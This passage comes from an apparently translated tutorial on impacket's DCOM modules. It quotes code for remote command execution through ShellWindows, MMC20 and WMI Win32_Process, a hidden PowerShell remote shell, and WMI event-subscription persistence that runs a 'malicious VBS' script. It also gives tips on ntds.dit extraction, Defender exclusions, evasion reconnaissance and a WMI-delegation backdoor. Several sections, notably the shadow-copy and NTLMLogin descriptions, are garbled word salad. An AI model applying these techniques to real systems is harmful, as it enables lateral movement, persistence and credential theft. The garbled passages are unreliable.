request['rgVarRef'] = rgVarRefIdx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp
The dcomexec ShellWindows invocation uses Invoke:
class DCOMEXEC:
......
def getInterface(self, interface, resp):
# Now let's parse the answer and build an Interface instance
objRefType = OBJREF(b''.join(resp))['flags']
objRef = None
if objRefType == FLAGS_OBJREF_CUSTOM:
objRef = OBJREF_CUSTOM(b''.join(resp))
elif objRefType == FLAGS_OBJREF_HANDLER:
objRef = OBJREF_HANDLER(b''.join(resp))
elif objRefType == FLAGS_OBJREF_STANDARD:
objRef = OBJREF_STANDARD(b''.join(resp))
elif objRefType == FLAGS_OBJREF_EXTENDED:
objRef = OBJREF_EXTENDED(b''.join(resp))
else:
logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
return IRemUnknown2(
INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
target=interface.get_target()))
def run(self, addr, silentCommand=False):
......
# (1) Establish the DCOM connection (EPM resolution, SCM activation and OXID resolution happen inside)
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
dispParams = DISPPARAMS(None, False) # the generic parameter container for Invoke
......
if self.__dcomObject == 'ShellWindows':
# (2) Activate the DCOM component by CLSID; CoCreateInstanceEx returns the default IDispatch interface
# ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)
iMMC = IDispatch(iInterface)
# (3) GetIDsOfNames: method/property name -> DISPID; Invoke: call by DISPID
resp = iMMC.GetIDsOfNames(('Item',))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
# (4) The property returns a marshaled interface pointer; getInterface unpacks the OBJREF into a new interface
iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
resp = iItem.GetIDsOfNames(('Document',))
resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
pQuit = None
elif self.__dcomObject == 'ShellBrowserWindow':
# ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document',))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
elif self.__dcomObject == 'MMC20':
......
iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
if self.__dcomObject == 'MMC20':
# (5) MMC20: Document.ActiveView.ExecuteShellCommand(...) runs the command
resp = iDocument.GetIDsOfNames(('ActiveView',))
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand)
else:
# (5) ShellWindows/ShellBrowserWindow: Document.Application.ShellExecute(...) runs the command
resp = iDocument.GetIDsOfNames(('Application',))
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0]
self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand)
......
Excerpt note: the OBJREF dispatch in
getInterfaceand the activation / property-chain / command-execution paths of the three DCOM components inrun()are kept. The ~300-lineRemoteShell/RemoteShellMMC20semi-interactive shell implementation in the dcomexec source (SMB file read/write for output retrieval, codec handling, prompt management) is unrelated to the teaching point and omitted here — see examples/dcomexec.py for the full implementation.
0x409 is the US-English locale ID (LCID).
When dcomexec drives the ShellBrowserWindow COM object it uses the Document.Application property and calls ShellExecute on the object returned by Document.Application.Parent to execute commands.
6.3.2 [MS-COMEV] comev.py
The COM+ module. The COM+ protocol stores and manages configuration data of event publishers and their subscribers on remote machines, and specifies how to obtain specific information about publishers and subscribers. The publish-subscribe framework lets applications publish historical information that other applications may be interested in: the publishing application is the publisher, the subscribing one the subscriber, and publishers express the information in discrete units called events. Subscribers subscribe by creating subscriptions to events. The COM+ Event System protocol manages events and their subscriptions on remote machines, exposed as a set of DCOM [MS-DCOM] interfaces. Publishers can publish, update or delete events on remote machines; subscribers can create subscriptions, and modify, query or delete subscriptions. A subscriber may request specific types or sets of events by specifying filter criteria. In short: remote event management. The COM+ Event System protocol communicates over DCOM [MS-DCOM], authenticating all requests against the infrastructure, and together with DCOM it uses the OLE Automation protocol [MS-OAUT] via the BSTR and VARIANT types of the IDispatch interface. The protocol described in [MS-COMA] can register type libraries for the event classes and subscriber DCOM components used by the COM+ Event System, and discover subscriber DCOM components registered on a server to create subscriptions.
event: a discrete unit of historical data an application exposes that may be relevant to other applications — e.g. a specific user logging on to a computer.
event class: a collection of historical data grouped by criteria specified by the publishing application.
event interface: a collection of event methods; an event class contains one or more event interfaces.
event method: a method invoked by the publish-subscribe framework when the publisher application generates an event.
filter criteria: the set of rules a subscriber specifies as part of a subscription defining which kinds of historical data it wants to receive.
The module opens with the event-related COM component CLSIDs and the communication data structures; the IEventClass* classes provide the event query/modify functions:
class IEventClass3(IEventClass2):
def __init__(self, interface):
IEventClass2.__init__(self,interface)
self._iid = IID_IEventClass3
def get_EventClassPartitionID(self):
request = IEventClass3_get_EventClassPartitionID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_EventClassPartitionID(self, bstrEventClassPartitionID):
request = IEventClass3_put_EventClassPartitionID()
request['bstrEventClassPartitionID '] = bstrEventClassPartitionID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_EventClassApplicationID(self):
request = IEventClass3_get_EventClassApplicationID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
............
6.3.3 [MS-SCMP] scmp.py
The Shadow Copy Management Protocol programmatically enumerates shadow copies and configures shadow copy storage on remote machines:
.jpg)
Shadow copy: a copy of the data on a volume taken at a well-defined moment.
Shadow copy provider: a software component on the server providing local services to create, enumerate, delete and manage shadow copies.
Shadow copy set: a collection of shadow copies created simultaneously and identified by a common ID.
Shadow copy storage: the storage location holding differential data from the original volume to maintain all its shadow copies; a file or set of files on the same or a different volume.
Shadow copy storage association: the relationship between an original volume and the volume holding its shadow copy storage.
Shadow copy storage volume: the volume where shadow copy storage lives.
Snapshot: the point in time at which the shadow copy is made.
Like snapshotting a VM, this snapshots a system volume — attackers use it to extract ntds.dit, execute commands and so on.
enumerates
asgroup XML used forallgroupmethod thengroup
all
allrolling/log
entry I/O can I/O not 60 entry
not 10 inthisall entry I/O
releases entry I/O
VSS entry I/O thiscan entryin
.jpg)
clientobtainsIVssSnapshotMgmt client IVssSnapshotMgmt::QueryVolumesSupportedForSnasphotsthisasthismethod toobtainscanservermustIVssEnumMgmtObject clientcanintheonmethod toclient IVssSnapshotMgmt::QuerySnapshotsByVolume obtainsinspecifiedonservermust IVssEnumObject clientcanintheonmethod toclient IVssSnapshotMgmt::GetProviderMgmtInterface methodobtainsIVssDifferentialSoftwareSnapshotMgmt servermust IVssDifferentialSoftwareSnapshotMgmt clientcanintheonmethod to
used for IVssSnapshotMgmt::GetProviderMgmtInterface obtainsclient IVssDifferentialSoftwareSnapshotMgmt::QueryVolumesSupportedForDiffArea method toobtainsused forservermust IVssEnumMgmtObject clientcanintheonmethod toclient IVssDifferentialSoftwareSnapshotMgmt::QueryDiffAreasForVolume obtainsin. servermust IVssEnumMgmtObject clientcanintheonmethod toclient IVssDifferentialSoftwareSnapshotMgmt::QueryDiffAreasOnVolume obtainsused forinonservermust IVssEnumMgmtObject clientcanintheonmethod to
The module first defines the CLSIDs of IVssSnapshotMgmt and friends plus the data structures the shadow-copy protocol needs (VSS_ID etc.)
It then implements query functions such as enumerating shadow copies. Despite the name "shadow copy management protocol", it can only query — it cannot create shadow copies.
class IVssSnapshotMgmt(IRemUnknown2):
def __init__(self, interface):
IRemUnknown2.__init__(self, interface)
self._iid = IID_IVssSnapshotMgmt
def GetProviderMgmtInterface(self, providerId = IID_ShadowCopyProvider, interfaceId = IID_IVssDifferentialSoftwareSnapshotMgmt):
req = GetProviderMgmtInterface()
classInstance = self.get_cinstance()
req['ORPCthis'] = classInstance.get_ORPCthis()
req['ORPCthis']['flags'] = 0
req['ProviderId'] = providerId
req['InterfaceId'] = interfaceId
resp = self.request(req, self._iid, uuid = self.get_iPid())
return IVssDifferentialSoftwareSnapshotMgmt(INTERFACE(classInstance, ''.join(resp['ppItf']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
Amusingly, examples/secretsdump.py indeed never calls the scmp module — it enumerates shadow copies by remotely executing vssadmin. The protocol is implemented, but nothing in impacket uses it:
def __getLastVSS(self, forDrive=None):
if forDrive:
command = '%COMSPEC% /C vssadmin list shadows /for=' + forDrive
else:
command = '%COMSPEC% /C vssadmin list shadows'
self.__executeRemote(command)
time.sleep(5)
tries = 0
while True:
try:
self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
break
except Exception as e:
if tries > 30:
# We give up
raise Exception('Too many tries trying to list vss shadows')
if str(e).find('SHARING') > 0:
# Stuff didn't finish yet.. wait more
time.sleep(5)
tries +=1
pass
else:
raise
6.3.4 [MS-VDS] vds.py
The Virtual Disk Service (VDS) Remote Protocol is a set of distributed COM (DCOM) interfaces managing disk storage configuration on a computer; it deals with detailed, low-level OS and storage concepts.
The module mainly defines the variables the protocol needs plus interface functions such as adding / removing virtual disks; no impacket script uses it yet:
class IVdsService(IRemUnknown2):
def __init__(self, interface):
IRemUnknown2.__init__(self, interface)
def IsServiceReady(self):
# boilerplate pattern: request -> on error, fetch the response packet from the exception object (e.get_packet())
request = IVdsService_IsServiceReady()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
try:
resp = self.request(request, uuid = self.get_iPid())
except Exception as e:
resp = e.get_packet()
return resp
......
def QueryProviders(self, masks):
# query providers: returns an enumerable IEnumVdsObject;
# each object enumerated afterwards is likewise an IRemUnknown2-derived interface
request = IVdsService_QueryProviders()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
request['masks'] = masks
resp = self.request(request, uuid = self.get_iPid())
return IEnumVdsObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
6.3.5 [MS-WMI] wmi.py
The WMI protocol
The Windows Management Instrumentation Remote Protocol communicates over the DCOM Remote Protocol and validates every request against the infrastructure. DCOM is effectively the foundation of WMI remoting, taking care of:
- Establishing the protocol.
- Securing the communication channel.
- Authenticating the client.
- Providing reliable client/server communication.
That means the DCOM implementation provides and consumes all the lower-layer protocols. Beyond DCOM, the WMI remote protocol uses the special encoding defined in [MS-WMIO] to carry the information defined in [DMTF-DSP0004] over the network. It conveys management data conforming to the Common Information Model (CIM); users manage local and remote computers through WMI. The alternative is Windows Remote Management (WinRM), which fetches remote WMI management data over SOAP.

The figure shows how the WMI infrastructure relates to WMI providers, managed objects and WMI consumers (which can use wmic, wbemtest, the WMI Scripting API, or COM interfaces directly; .NET uses System.Management).
A WMI provider is a COM object (component) that monitors one or more managed objects. A managed object is a logical or physical component — a disk drive, network adapter, database system, operating system, process or service. Much like a driver, a WMI provider feeds data from the managed objects to the WMI service and relays the WMI service's requests back to them.

The table below lists the OS WMI providers — WMI's capabilities are all delivered by the providers of the various OS features.
| Provider | Description |
|---|---|
| Active Directory provider | Maps Active Directory objects to WMI; by accessing the LDAP namespace in WMI you can reference or alias objects in Active Directory. |
| BitLocker Drive Encryption (BDE) provider | Provides configuration and management of storage areas on hard drives, represented by instances of Win32_EncryptableVolume, protectable with encryption. |
| BizTalk provider | Access to BizTalk management objects represented by WMI classes. |
| Boot Configuration Data (BCD) provider | Access to boot configuration data through the BCD provider classes in the Root\WMI namespace. See the BCD reference. |
| CIMWin32 WMI providers | Support the classes implemented in CimWin32.dll: core CIM WMI classes, their Win32 implementations, and power-management events. |
| Distributed File System (DFS) provider | Provides DFS functionality, logically grouping shares across multiple servers and transparently linking them into a tree within a single namespace. |
| Distributed File System Replication (DFSR) provider | Creates tools for configuring and monitoring the DFS service. See DFSR WMI classes. |
| DNS provider | Lets administrators and programmers configure DNS resource records (RR) and DNS servers via WMI. |
| Disk quota provider | Lets administrators control how much data each user stores on NTFS volumes. |
| Event log provider | Data access from the event log service to event notifications. |
| Hyper-V WMI provider (V2) | Lets developers and scripters quickly build custom tools, utilities and enhancements for the virtualization platform. |
| Hyper-V WMI provider | Lets developers and scripters quickly build custom tools, utilities and enhancements for the virtualization platform. |
| Internet Information Services (IIS) | Exposes programming interfaces for querying and configuring the IIS metabase. |
| IP route provider | Provides network routing information. |
| Job object provider | Access to data on named kernel job objects. |
| Intelligent Platform Management Interface (IPMI) | Works with the WMI IPMI provider to surface baseboard management controller (BMC) data to the OS. |
| Live Communications Server 2003 provider | WMI classes for creating, registering, configuring and managing custom SIP applications with Live Communications Server 2003. |
| Network Load Balancing (NLB) | Lets applications interact with NLB clusters through WMI. |
| Ping provider | Gives WMI access to the status information of the standard ping command. |
| Policy provider | Extends Group Policy and improves policy application. |
| Power management event provider | Models the Windows power management protocol to feed the Win32_PowerManagementEvent class describing power-management events caused by power state changes. |
| Remote Desktop Services WMI provider | Consistent server management in Remote Desktop Services environments. |
| Reporting Services provider | WMI classes for scripting and modifying report server and report manager settings. |
| Resultant Set of Policy (RSoP) provider | Methods for planning and debugging policy settings in hypothetical scenarios, letting administrators determine which policy combination applies (or would apply) to a user or computer. See About the RSoP WMI method provider and RSoP WMI classes. |
| Security provider | Retrieves or changes the security settings controlling ownership, auditing and access permissions of files, directories and shares. |
| Server cluster provider | WMI classes for accessing cluster objects, properties and events. |
| Session provider | Manages network sessions and connections. |
| Shadow copy provider | Management of shadow copies for the shared-folders feature. |
| SNMP provider | Maps SNMP objects defined in MIB schema objects to WMI CIM classes. Not preinstalled. See Setting up the WMI SNMP environment. |
| System Center Endpoint Protection (SCEP) | WMI classes enabling System Center Endpoint Protection management. |
| System registry provider | Lets management applications retrieve and modify registry data and be notified of changes; two versions exist on 64-bit platforms. |
| System restore provider | Classes for configuring and using System Restore. See Configuring System Restore and System Restore WMI classes. |
| Trusted Platform Module provider | Access to data about security devices, represented by instances of Win32_TPM, the root of trust of Windows platform systems. |
| Trust provider | Access to information about domain trusts. |
| View provider | Creates new instances and methods based on instances of other classes; two versions exist on 64-bit platforms. |
| WDM provider | Access to classes, instances, methods and events of hardware drivers conforming to the Windows Driver Model (WDM). |
| Win32 provider | Access and update data from Windows systems, such as current environment variables and logical-disk properties. |
| Windows Defender | WMI classes enabling Windows Defender management. |
| Windows Installer provider | Access to information gathered from Windows Installer-compatible applications; makes Windows Installer operations available remotely. |
| Windows Product Activation provider | Supports Windows Product Activation (WPA) management via WMI with consistent server management; WPA is not available on Itanium-based Windows. |
| WMIPerfClass provider | Creates WMI performance counter classes; WMIPerfInst feeds these classes dynamically, and both replace the ADAP function. |
| WmiPerfInst provider | Dynamically provides raw and formatted performance counter data from the WMI performance counter classes. |
For orientation, take an early look at examples/wmiexec.py — it invokes the Create method of the CIMWin32 provider's Win32_Process class to start a process running cmd or PowerShell (or a reverse shell):
# eg./examples/wmiexec.py
...................
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process, _ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.__shell_type, silentCommand)
...............
class RemoteShell(cmd.Cmd):
def __init__(self, share, win32Process, smbConnection, shell_type, silentCommand=False):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = '\\' + OUTPUT_FILENAME
self.__outputBuffer = str('')
self.__shell = 'cmd.exe /Q /c '
self.__shell_type = shell_type
self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
self.__win32Process = win32Process
self.__transferClient = smbConnection
self.__silentCommand = silentCommand
self.__pwd = str('C:\\')
self.__noOutput = False
self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
.....................
The methods of the Win32_Process class:
| Method | Description |
|---|---|
| AttachDebugger | Launches the currently registered debugger for a process. |
| Create | Creates a new process. |
| GetAvailableVirtualSize | Computes the virtual address space available to the process |
| GetOwner | Retrieves the user name and domain under which the process runs. |
| GetOwnerSid | Retrieves the security identifier (SID) of the process owner. |
| SetPriority | Changes the execution priority of the process. |
| Terminate | Terminates the process and all its threads. |
The properties of Win32_Process:
| Property | Data type | Description |
|---|---|---|
| CommandLine | string | The command line used to start the process (where applicable) |
| CreationClassName | string | The class or subclass name used to create the instance; together with the other key properties it uniquely identifies all instances of the class and its subclasses. Inherited from CIM_Process |
| CreationDate | datetime | The date the process began executing. Inherited from CIM_Process |
| CSCreationClassName | string | The creation class name of the scoping computer system. Inherited from CIM_Process |
| CSName | string | The name of the scoping computer system. Inherited from CIM_Process |
| ...... | See the official documentation for the remaining properties |
More properties at https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/win32-process .
Listing them all adds little — in practice, first decide which capability you need remotely, then look up the corresponding provider / class / method / property and invoke it.
Here is another example.
Another example: the Add method of the MSFT_MpPreference class in the Windows Defender WMIv2 API (invocations prompt for confirmation by default; -Force suppresses it):
uint32 Add(
[in] string ExclusionPath[], // output
[in] string ExclusionExtension[], // output
[in] string ExclusionProcess[], // output
[in] sint64 ThreatIDDefaultAction_Ids[], // not ID
[in] uint8 ThreatIDDefaultAction_Actions[], // onwith Ids specified
[in] boolean Force
);
The MSFT_MpComputerStatus class under the same provider reveals the currently deployed security software and versions — handy for pre-evasion reconnaissance (the original local screenshot is lost).
WMI delegation
Another interesting point: per the official documentation (https://learn.microsoft.com/en-us/windows/win32/wmisdk/connecting-to-a-3rd-computer-delegation), a script running on the local system that pulls data from a remote system only needs the Impersonate impersonation level for WMI to hand credentials to the data provider on the remote system. But if the script, having connected to the remote system's WMI, then reaches out to a third machine (e.g. opening a log file on yet another remote system), it will fail unless the impersonation level is Delegate. So you can configure WMI delegation for an account you created, and thereby control a third machine (such as a DC) through WMI. Public material on this is scarce; the mechanism might make a decent backdoor.
Here is a PowerShell script implementing WMI namespace delegation, and its usage:
https://github.com/grbray/PowerShell/blob/main/Windows/Set-WMINameSpaceSecurity.ps1
https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/delegate-wmi-access-to-domain-controllers/ba-p/259535
Module code walkthrough
From the wmiexec script earlier we saw that WMI is reached through the IWbemLevel1Login interface.
The IWbemLevel1Login interface lets a user connect to the management service interface in a specific namespace. The interface must be uniquely identified by UUID {F309AD18-D86A-11d0-A075-00C04FB68820}.
IWbemLevel1Login contains four methods:
| Method | Description | Opnum |
|---|---|---|
| EstablishPosition | Does nothing; mainly locale negotiation before NTLMLogin | 3 |
| RequestChallenge | Does nothing | 4 |
| WBEMLogin | Does nothing | 5 |
| NTLMLogin | Connects the user to the management service interface in the specified namespace | 6 |
Focus on NTLMLogin's parameters:
HRESULT NTLMLogin(
[in, unique, string] LPWSTR wszNetworkResourcereturns IWbemServices objectserveronthisnotas NULL
[in, unique, string] LPWSTR wszPreferredLocale,themustspecifiedifclientnotservercreates alist
[in] long lFlags,mustas 0
[in] IWbemContext* pCtx,mustIWbemContext mustcontainingclientinformationifpCtx as NULLthenmustthe
[out] IWbemServices** ppNamespaceifppNamespace mustreturns a IWbemServicesthismustsetsas NULL
);
as IWbemLevel1Login::NTLMLogin methodservermustreturns wszNetworkResource IWbemServices servermustcreates a IWbemServices object wszPreferredLocale inobjectservermustin NamespaceConnectionTable with wszNetworkResource NamespaceConnection objectin IWbemServices objectservermust GrantedAccess setsasclientgroupinformationall IWbemServices methodmust wszPreferredLocale specifiedreturnsinformationas NULL serverthemethodmust IWbemServices padding ppNamespace mustreturns WBEM_S_NO_ERROR
Here is the IWbemLevel1Login class's implementation of NTLMLogin:
class IWbemLevel1Login(IRemUnknown):
........
def NTLMLogin(self, wszNetworkResource, wszPreferredLocale, pCtx):
request = IWbemLevel1Login_NTLMLogin()
request['wszNetworkResource'] = checkNullString(wszNetworkResource)
request['wszPreferredLocale'] = checkNullString(wszPreferredLocale)
request['lFlags'] = 0
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return IWbemServices(
INTERFACE(self.get_cinstance(), b''.join(resp['ppNamespace']['abData']), self.get_ipidRemUnknown(),
target=self.get_target()))
From this point on, IWbemServices carries out the provider calls.
The methods of the IWbemServices interface:
| Method | Description |
|---|---|
| OpenNamespace | Provides the client with an IWbemServices interface pointer scoped to the requested namespace |
| CancelAsyncCall | Cancels the asynchronous method call identified by the current IWbemObjectSink pointer |
| QueryObjectSink | Obtains the notification handler letting the client send events directly to the server |
| GetObject | Retrieves a CIM class or CIM instance. |
| GetObjectAsync | Asynchronous version of IWbemServices::GetObject |
| PutClass | Creates a new class or updates an existing one in the namespace associated with the current IWbemServices interface |
| PutClassAsync | Asynchronous version of IWbemServices::PutClass |
| DeleteClass | Deletes the specified class from the namespace associated with the current IWbemServices interface |
| DeleteClassAsync | Asynchronous version of IWbemServices::DeleteClass. |
| CreateClassEnum | Creates a class enumerator. |
| CreateClassEnumAsync | Asynchronous version of IWbemServices::CreateClassEnum. |
| PutInstance | Creates or updates an instance of an existing class |
| PutInstanceAsync | Asynchronous version of PutInstance. |
| DeleteInstance | Deletes an instance of an existing class |
| DeleteInstanceAsync | Asynchronous version of IWbemServices::DeleteInstance. |
| CreateInstanceEnum | Creates an instance enumerator of all class instances satisfying the selection criteria |
| CreateInstanceEnumAsync | Asynchronous version of IWbemServices::CreateInstanceEnum. |
| ExecQuery | Returns an enumerable collection of IWbemClassObject interface objects based on a query. |
| ExecQueryAsync | Asynchronous version of IWbemServices::ExecQuery. |
| ExecNotificationQuery | When the client requests an event subscription, the server runs the query to receive events. |
| ExecNotificationQueryAsync | Asynchronous version of IWbemServices::ExecNotificationQuery. |
| ExecMethod | Executes a CIM method implemented by a CIM class or instance retrieved from the IWbemServices interface. |
| ExecMethodAsync | Asynchronous version of IWbemServices::ExecMethod |
All the main WMI remote-management functions live here; the module implements every one of them:
class IWbemServices(IRemUnknown):
def __init__(self, interface):
IRemUnknown.__init__(self,interface)
self._iid = IID_IWbemServices
def OpenNamespace(self, strNamespace, lFlags=0, pCtx = NULL):
request = IWbemServices_OpenNamespace()
request['strNamespace']['asData'] = strNamespace
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def CancelAsyncCall(self,IWbemObjectSink ):
request = IWbemServices_CancelAsyncCall()
request['IWbemObjectSink'] = IWbemObjectSink
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp['ErrorCode']
def QueryObjectSink(self):
request = IWbemServices_QueryObjectSink()
request['lFlags'] = 0
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return INTERFACE(self.get_cinstance(), b''.join(resp['ppResponseHandler']['abData']), self.get_ipidRemUnknown(),
target=self.get_target())
def GetObject(self, strObjectPath, lFlags=0, pCtx=NULL):
request = IWbemServices_GetObject()
request['strObjectPath']['asData'] = strObjectPath
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
ppObject = IWbemClassObject(
INTERFACE(self.get_cinstance(), b''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(),
oxid=self.get_oxid(), target=self.get_target()), self)
if resp['ppCallResult'] != NULL:
ppcallResult = IWbemCallResult(
INTERFACE(self.get_cinstance(), b''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(),
target=self.get_target()))
else:
ppcallResult = NULL
return ppObject, ppcallResult
..........
For method invocation see examples/wmipersist.py: in REMOVE mode it deletes existing instances via DeleteInstance; otherwise it calls GetObject on the ActiveScriptEventConsumer, __EventFilter, and __IntervalTimerInstruction classes, derives new instances via SpawnInstance, then writes them back with PutInstance:
if self.__options.action.upper() == 'REMOVE':
# removal: delete the four instance kinds one by one (Consumer / Filter / Timer / Binding)
self.checkError('Removing ActiveScriptEventConsumer %s' % self.__options.name,
iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name="%s"' % self.__options.name))
...... # __EventFilter, __IntervalTimerInstruction and __FilterToConsumerBinding removed the same way
else:
# install: (1) GetObject fetches the class definition -> SpawnInstance derives an instance -> fill properties -> PutInstance writes it back
activeScript, _ = iWbemServices.GetObject('ActiveScriptEventConsumer')
activeScript = activeScript.SpawnInstance()
activeScript.Name = self.__options.name
activeScript.ScriptingEngine = 'VBScript' # VBScript as the event-triggered payload
activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] # Creator SID
activeScript.ScriptText = options.vbs.read() # the malicious VBS body
self.checkError('Adding ActiveScriptEventConsumer %s'% self.__options.name,
iWbemServices.PutInstance(activeScript.marshalMe()))
if options.filter is not None:
...... # __EventFilter: the WQL query and its namespace root\cimv2
else:
wmiTimer, _ = iWbemServices.GetObject('__IntervalTimerInstruction')
wmiTimer = wmiTimer.SpawnInstance()
wmiTimer.TimerId = 'TI_%s' % self.__options.name
wmiTimer.IntervalBetweenEvents = int(self.__options.timer) # timer interval
self.checkError('Adding IntervalTimerInstruction',
iWbemServices.PutInstance(wmiTimer.marshalMe()))
eventFilter,_ = iWbemServices.GetObject('__EventFilter')
eventFilter = eventFilter.SpawnInstance()
eventFilter.Name = 'EF_%s' % self.__options.name
eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name
eventFilter.QueryLanguage = 'WQL'
eventFilter.EventNamespace = r'root\subscription'
......
# (2) bind Filter -> Consumer; when the event fires, the script runs
filterBinding, _ = iWbemServices.GetObject('__FilterToConsumerBinding')
filterBinding = filterBinding.SpawnInstance()
filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name
filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name
filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
self.checkError('Adding FilterToConsumerBinding',
iWbemServices.PutInstance(filterBinding.marshalMe()))
The derivation uses the IWbemClassObject::SpawnInstance method from wbemcli.h:
HRESULT SpawnInstance(
[in] long lFlags,
[out] IWbemClassObject **ppNewInstance
);
The current object must be a class definition obtained from WMI via IWbemServices::GetObject, IWbemServices::CreateClassEnum or IWbemServices::CreateClassEnumAsync; that definition is then used to create the new instance. IWbemServices::PutInstance must be called to actually write the instance into WMI. To discard the object before PutInstance, simply call IWbemClassObject::Release. Note that spawning from an instance is supported, but the returned instance will be empty.
The roles of the 3 classes used in the script.
-
The ActiveScriptEventConsumer class runs a predefined script in an arbitrary scripting language whenever an event is delivered to it.
-
The __IntervalTimerInstruction system class generates events at intervals, similar to the WM_TIMER message in Windows programming. Event consumers register to receive interval-timer events by creating event queries referencing this class. Due to OS behavior, delivery at exactly the requested interval is not guaranteed.
-
Registration of permanent event consumers requires instances of the __EventFilter system class.
wmipersist.py builds a WQL event query that listens for events and, when one fires, executes the attacker's pre-planted script.
Beyond the classes above, the wmi module also implements the following interfaces:
-
IEnumWbemClassObject: enumerates or clones collections of CIM objects
-
IWbemCallResult: returns call results from semisynchronous calls that return a single CIM object
- IWbemFetchSmartEnum: a helper interface retrieving the network-optimized enumerator interface
- IWbemWCOSmartEnum: an alternative synchronous enumeration of CIM objects for IEnumWbemClassObject
- IWbemLoginClientID: SetClientInfo passes the client's NetBIOS name and a client-generated unique number to the server.
- IWbemLoginHelper: SetEvent signals an event by name on the server.
That completes the wmi module.